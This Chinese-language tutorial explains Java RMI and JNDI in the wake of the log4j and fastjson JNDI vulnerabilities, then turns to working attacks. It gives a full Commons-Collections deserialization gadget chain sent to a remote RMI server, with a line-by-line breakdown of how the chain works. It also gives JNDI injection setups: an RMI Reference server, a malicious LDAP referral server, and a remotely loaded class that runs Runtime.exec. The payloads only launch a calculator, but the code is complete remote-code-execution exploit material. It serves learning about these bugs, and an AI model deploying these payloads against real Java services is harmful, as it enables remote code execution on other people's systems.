由於最近的
log4j和
fastjson頻頻曝出
JNDI漏洞危機,覺得有必要學習
jndi
和
rmi
1 RMI
1.1 rmi概念
RMI是用Java在JDK1.2中實現的,它大大增強了Java開發分布式應用的能力,Java本身對RMI規范的實現默認使用的是JRMP協議。而在Weblogic中對RMI規范的實現使用T3協議
JRMP:Java Remote Message Protocol ,Java遠程消息交換協議。這是運行在Java RMI之下、TCP/IP之上的線路層協議。該協議要求服務端與客戶端都為Java編寫,就像HTTP協議一樣,規定了客戶端和服務端通信要滿足的規范
RMI(Remote Method Invocation)為遠程方法調用,是允許運行在一個Java虛擬機的對象調用運行在另一個Java虛擬機上的對象的方法。 這兩個虛擬機可以是運行在相同計算機上的不同進程中,也可以是運行在網絡上的不同計算機中,RMI體系結構是基於一個非常重要的行為定義和行為實現相分離的原則。RMI允許定義行為的代碼和實現行為的代碼相分離,並且運行在不同的JVM上。
不同於socket,RMI中分為三大部分:Server、Client、Registry
Server: 提供遠程的對象Client: 調用遠程的對象Registry: 一個注冊表,存放着遠程對象的位置(ip、端口、標識符)
RMI體系結構分以下幾層:
- 存根和骨架層(
Stub and Skeleton layer):這一層對程序員是透明的,它主要負責攔截客戶端發出的方法調用請求,然后把請求重定向給遠程的RMI服務。 - 遠程引用層(
Remote Reference Layer):RMI體系結構的第二層用來解析客戶端對服務端遠程對象的引用。這一層解析並管理客戶端對服務端遠程對象的引用。連接是點到點的。 - 傳輸層(
Transport layer):這一層負責連接參與服務的兩個JVM。這一層是建立在網絡上機器間的TCP/IP連接之上的。它提供了基本的連接服務,還有一些防火牆穿透策略
1.2 RMI基礎運用
RMI可以調用遠程的一個Java的對象進行本地執行,但是遠程被調用的該類必須繼承java.rmi.Remote接口
1.2.1 定義一個遠程的接口
public interface Rmidemo extends Remote {
public String hello() throws RemoteException;
}
在定義遠程接口的時候需要繼承java.rmi.Remote接口,並且修飾符需要為public否則遠程調用的時候會報錯。並且定義的方法里面需要拋出一個RemoteException的異常
1.2.2 編寫一個遠程接口的實現類
在編寫該實現類中需要將該類繼承UnicastRemoteObject
public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{
protected RemoteHelloWorld() throws RemoteException {
System.out.println("構造方法");
}
public String hello() throws RemoteException {
System.out.println("hello方法被調用");
return "hello,world";
}
}
1.2.3 創建服務器實例
創建服務器實例,並且創建一個注冊表,將需要提供給客戶端的對象注冊到注冊到注冊表中
public class servet {
public static void main(String[] args) throws RemoteException {
Rmidemo hello = new RemoteHelloWorld();//創建遠程對象
Registry registry = LocateRegistry.createRegistry(1099);//創建注冊表
registry.rebind("hello",hello);//將遠程對象注冊到注冊表里面,並且設置值為hello
}
}
到了這一步,簡單的RMI服務端的代碼就寫好了
1.2.4 編寫客戶端並且調用遠程對象
public class clientdemo {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);//獲取遠程主機對象
// 利用注冊表的代理去查詢遠程注冊表中名為hello的對象
Rmidemo hello = (Rmidemo) registry.lookup("hello");
// 調用遠程方法
System.out.println(hello.hello());
}
}
在這一步需要注意的是,如果遠程的這個方法有參數的話,調用該方法傳入的參數必須是可序列化的。在傳輸中是傳輸序列化后的數據,服務端會對客戶端的輸入進行反序列化
1.3 RMI反序列化攻擊
需要使用到RMI進行反序列化攻擊需要兩個條件:接收Object類型的參數、RMI的服務端存在執行命令利用鏈
這里對上面得代碼做一個簡單的改寫
1.3.1 定義遠程接口
需要定義一個object類型的參數方法
public interface User extends Remote {
public String hello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
void say() throws RemoteException;
}
1.3.2 遠程接口實現
public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}
public String hello(String hello) throws RemoteException {
return "hello";
}
public void work(Object obj) throws RemoteException {
System.out.println("work被調用了");
}
public void say() throws RemoteException {
System.out.println("say");
}
}
1.3.3 服務器
public class server {
public static void main(String[] args)
throws RemoteException {
User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}
1.3.4 客戶端
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class client {
public static void main(String[] args) throws Exception {
String url = "rmi://192.168.20.130:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}
執行客戶端后就會執行我們設置好要執行的命令,也就是彈出計算器。之所以會被執行的原因前面也說過RMI在傳輸數據的時候,會被序列化,傳輸的時序列化后的數據,在傳輸完成后再進行反序列化。那么這時候如果傳輸一個惡意的序列化數據就會進行反序列化的命令執行
轉載於:https://www.cnblogs.com/nice0e3/p/13927460.html
1.3.4.1 Transformer類說明
1.3.4.1.1 Transformer
commons-collections下面的類Transformer是個接口
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
可以看到Transformer接口只有一個transform方法,之后所有繼承該接口的類都需要實現這個方法。
官方文檔的意思:
大致意思就是會將傳入的object進行轉換,然后返回轉換后的object。還是有點抽象,不過沒關系,先放着接下來再根據繼承該接口的類進行具體分析。
Transformer有幾個實現類:
ConstantTransformerInvokerTransformerChainedTransformer
1.3.4.1.2 ConstantTransformer
ConstantTransformer類當中的transform方法就是將初始化時傳入的對象返回
部分源碼:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
1.3.4.1.3 InvokerTransformer
InvokerTransformer部分源碼:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
InvokerTransformer類的構造函數傳入三個參數——方法名,參數類型數組,參數數組。在transform方法中通過反射機制調用傳入某個類的方法,而調用的方法及其所需要的參數都在構造函數中進行了賦值,最終返回該方法的執行結果
1.3.4.1.4 ChainedTransformer
ChainedTransformer部分源碼:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer類利用之前構造方法傳入的transformers數組通過循環的方式調用每個元素的trandsform方法,將得到的結果傳入下一次循環的transform方法中。
那么這樣我們可以利用ChainedTransformer將ConstantTransformer和InvokerTransformer的transform方法串起來。通過ConstantTransformer返回某個類,交給InvokerTransformer去調用類中的某個方法。
1.3.4.1.5 TrandsformedMap
TrandsformedMap部分源碼:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
TransformedMap的decorate方法根據傳入的參數重新實例化一個TransformedMap對象,再看put方法的源碼,不管是key還是value都會間接調用transform方法,而這里的this.valueTransformer也就是transformerChain,從而啟動整個鏈子
1.3.4.2 代碼中說明
1.3.4.2.1 Transformer類說明
String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
上面的代碼翻譯一下正常的反射代碼一下:
((Runtime) Runtime.class.
getMethod("getRuntime", null).
invoke(null, null)).
exec("open -a Calculator");
1.3.4.2.2 TransformedMap類說明
其中TransformedMap根據上門的部分源碼可知會自動調用Transformer內部方法
TransformedMap 可以用來對 Map 進行某種變換,底層原理實際上是使用傳入的 Transformer 進行轉換。
Transformer transformer = new ConstantTransformer("程序通事");
Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只對 value 進行轉換
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法將會觸發調用 Transformer 內部方法
decorate.put("b", "B");
for (Object entry : decorate.entrySet()) {
Map.Entry temp = (Map.Entry) entry;
if (temp.getKey().equals("a")) {
// Map.Entry setValue 也會觸發 Transformer 內部方法
temp.setValue("AAA");
}
}
System.out.println(decorate);
只要調用 TransformedMap的 put 方法,或者調用 Map.Entry的 setValue方法就可以觸發我們設置的 ChainedTransformer,從而觸發 Runtime 執行外部命令,因此輸出結果為:
{b=程序通事, a=程序通事}
1.3.4.2.3 AnnotationInvocationHandler類說明
上文中我們知道了,只要調用 TransformedMap的 put 方法,或者調用 Map.Entry的 setValue方法就可以觸發我們設置的 ChainedTransformer,從而觸發 Runtime 執行外部命令。
現在我們就需要找到一個可序列化的類,這個類正好實現了 readObject,且正好可以調用 Map put 的方法或者調用 Map.Entry的 setValue。
Java 中有一個類 sun.reflect.annotation.AnnotationInvocationHandler,正好滿足上述的條件。這個類構造函數可以設置一個 Map 變量,這下剛好可以把上面的 TransformedMap 設置進去。
但是,這個類沒有 public 修飾符,默認只有同一個包才可以使用
不過這點難度,跟上面一比,還真是輕松,我們可以通過反射獲取從而獲取這個類的實例。
示例代碼如下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 隨便使用一個注解
Object instance = ctor.newInstance(Target.class, exMap);
2 JNDI
2.1 概念
JNDI(Java Naming and Directory Interface,Java命名和目錄接口)是SUN公司提供的一種標准的Java命名系統接口,JNDI提供統一的客戶端API,通過不同的訪問提供者接口JNDI服務供應接口(SPI)的實現,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程序可以和這些命名服務和目錄服務之間進行交互。目錄服務是命名服務的一種自然擴展
命名服務將名稱和對象聯系起來,使得讀者可以用名稱訪問對象。目錄服務是一種命名服務,在這種服務里,對象不但有名稱,還有屬性。
JNDI是一個應用程序設計的API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口,類似JDBC都是構建在抽象層上。現在JNDI已經成為J2EE的標准之一,所有的J2EE容器都必須提供一個JNDI的服務。
JNDI可訪問的現有的目錄及服務有:
DNS、XNam 、Novell目錄服務、LDAP(Lightweight Directory Access Protocol輕型目錄訪問協議)、 CORBA對象服務、文件系統、Windows XP/2000/NT/Me/9x的注冊表、RMI、DSML v1&v2、NIS
以上是一段百度wiki的描述。簡單點來說就相當於一個索引庫,一個命名服務將對象和名稱聯系在了一起,並且可以通過它們指定的名稱找到相應的對象
2.2 JNDI結構
在Java JDK里面提供了5個包,提供給JNDI的功能實現,分別是
javax.naming:主要用於命名操作,它包含了命名服務的類和接口,該包定義了Context接口和InitialContext類;javax.naming.directory:主要用於目錄操作,它定義了DirContext接口和InitialDir-Context類;javax.naming.event:在命名目錄服務器中請求事件通知;javax.naming.ldap:提供LDAP支持;javax.naming.spi:允許動態插入不同實現,為不同命名目錄服務供應商的開發人員提供開發和實現的途徑,以便應用程序通過JNDI可以訪問相關服務。
2.2.1 InitialContext類
構造方法:
InitialContext():構建一個初始上下文。
InitialContext(boolean lazy):構造一個初始上下文,並選擇不初始化它。
InitialContext(Hashtable<?,?> environment):使用提供的環境構建初始上下文
常用方法:
bind(Name name, Object obj)將名稱綁定到對象list(String name)枚舉在命名上下文中綁定的名稱以及綁定到它們的對象的類名lookup(String name)檢索命名對象rebind(String name, Object obj)將名稱綁定到對象,覆蓋任何現有綁定unbind(String name)取消綁定命名對象
示例如下:
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
2.2.2 Reference類
該類也是在javax.naming的一個類,該類表示對在命名/目錄系統外部找到的對象的引用。提供了JNDI中類的引用功能
構造方法:
Reference(String className)為類名為className的對象構造一個新的引用。
Reference(String className, RefAddr addr)為類名為className的對象和地址構造一個新引用
Reference(String className, RefAddr addr, String factory, String factoryLocation)為類名為className的對象,對象工廠的類名和位置以及對象的地址構造一個新引用
Reference(String className, String factory, String factoryLocation)為類名為className的對象以及對象工廠的類名和位置構造一個新引用。
示例:
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
參數1:className - 遠程加載時所使用的類名
參數2:classFactory - 加載的class中需要實例化類的名稱
參數3:classFactoryLocation - 提供classes數據的地址可以是file/ftp/http協議
常用方法:
void add(int posn, RefAddr addr)將地址添加到索引posn的地址列表中。
void add(RefAddr addr)將地址添加到地址列表的末尾。
void clear()從此引用中刪除所有地址。
RefAddr get(int posn)檢索索引posn上的地址。
RefAddr get(String addrType)檢索地址類型為addrType的第一個地址。
Enumeration<RefAddr> getAll()檢索本參考文獻中地址的列舉。
String getClassName()檢索引用引用的對象的類名。
String getFactoryClassLocation()檢索此引用引用的對象的工廠位置。
String getFactoryClassName()檢索此引用引用對象的工廠的類名。
Object remove(int posn)從地址列表中刪除索引posn上的地址。
int size()檢索此引用中的地址數。
String toString()生成此引用的字符串表示形式
代碼示例:
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}
這里可以看到調用完Reference 后又調用了 ReferenceWrapper將前面的Reference 對象給傳進去,其原因是查看Reference 就可以知道原因,查看到Reference ,並沒有繼承Remote接口也沒有繼承 UnicastRemoteObject類,前面講RMI的時候說過,需要將類注冊到Registry需要實現Remote和繼承UnicastRemoteObject類。這里並沒有看到相關的代碼,所以這里還需要調用 ReferenceWrapper將他給封裝一下
2.3 JNDI注入攻擊
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目錄環境的一個引用
initialContext.lookup(uri);//獲取指定的遠程對象
}
}
在上面的InitialContext.lookup(uri)的這里,如果說URI可控,那么客戶端就可能會被攻擊。JNDI可以使用RMI、LDAP來訪問目標服務。在實際運用中也會使用到JNDI注入配合RMI等方式實現攻擊
2.4 JNDI注入+RMI實現攻擊
2.4.1 RMIServer代碼
public class server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String url = "http://127.0.0.1:8080/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
System.out.println("running");
}
}
2.4.2 RMIClient代碼
public class client {
public static void main(String[] args) throws NamingException {
String url = "rmi://localhost:1099/obj";
//新版jdk8u以上 不加這句話報錯 The object factory is untrusted.
//Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
下面還需要一段執行命令的代碼,掛載在web頁面上讓server端去請求
public class test {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
使用javac命令,將該類編譯成class文件掛載在web頁面上。
原理其實就是把惡意的Reference類,綁定在RMI的Registry里面,在客戶端調用lookup遠程獲取遠程類的時候,就會獲取到Reference對象,獲取到Reference對象后,會去尋找Reference中指定的類,如果查找不到則會在Reference中指定的遠程地址去進行請求,請求到遠程的類后會在本地進行執行
2.5 JNDI注入+LDAP實現攻擊
LDAP概念:LDAP輕型目錄訪問協議(英文:Lightweight Directory Access Protocol,縮寫:LDAP,/ˈɛldæp/)是一個開放的,中立的,工業標准的應用協議,通過IP協議提供訪問控制和維護分布式信息的目錄信息
有了前面的案例后,再來看這個其實也比較簡單,之所以JNDI注入會配合LDAP是因為LDAP服務的Reference遠程加載Factory類不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等屬性的限制。
示例如下:
2.5.1 server端
public class demo {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
2.5.2 編寫一個client客戶端
public class clientdemo {
public static void main(String[] args) throws NamingException {
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}
}
編寫一個遠程惡意類,並將其編譯成class文件,放置web頁面中。
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
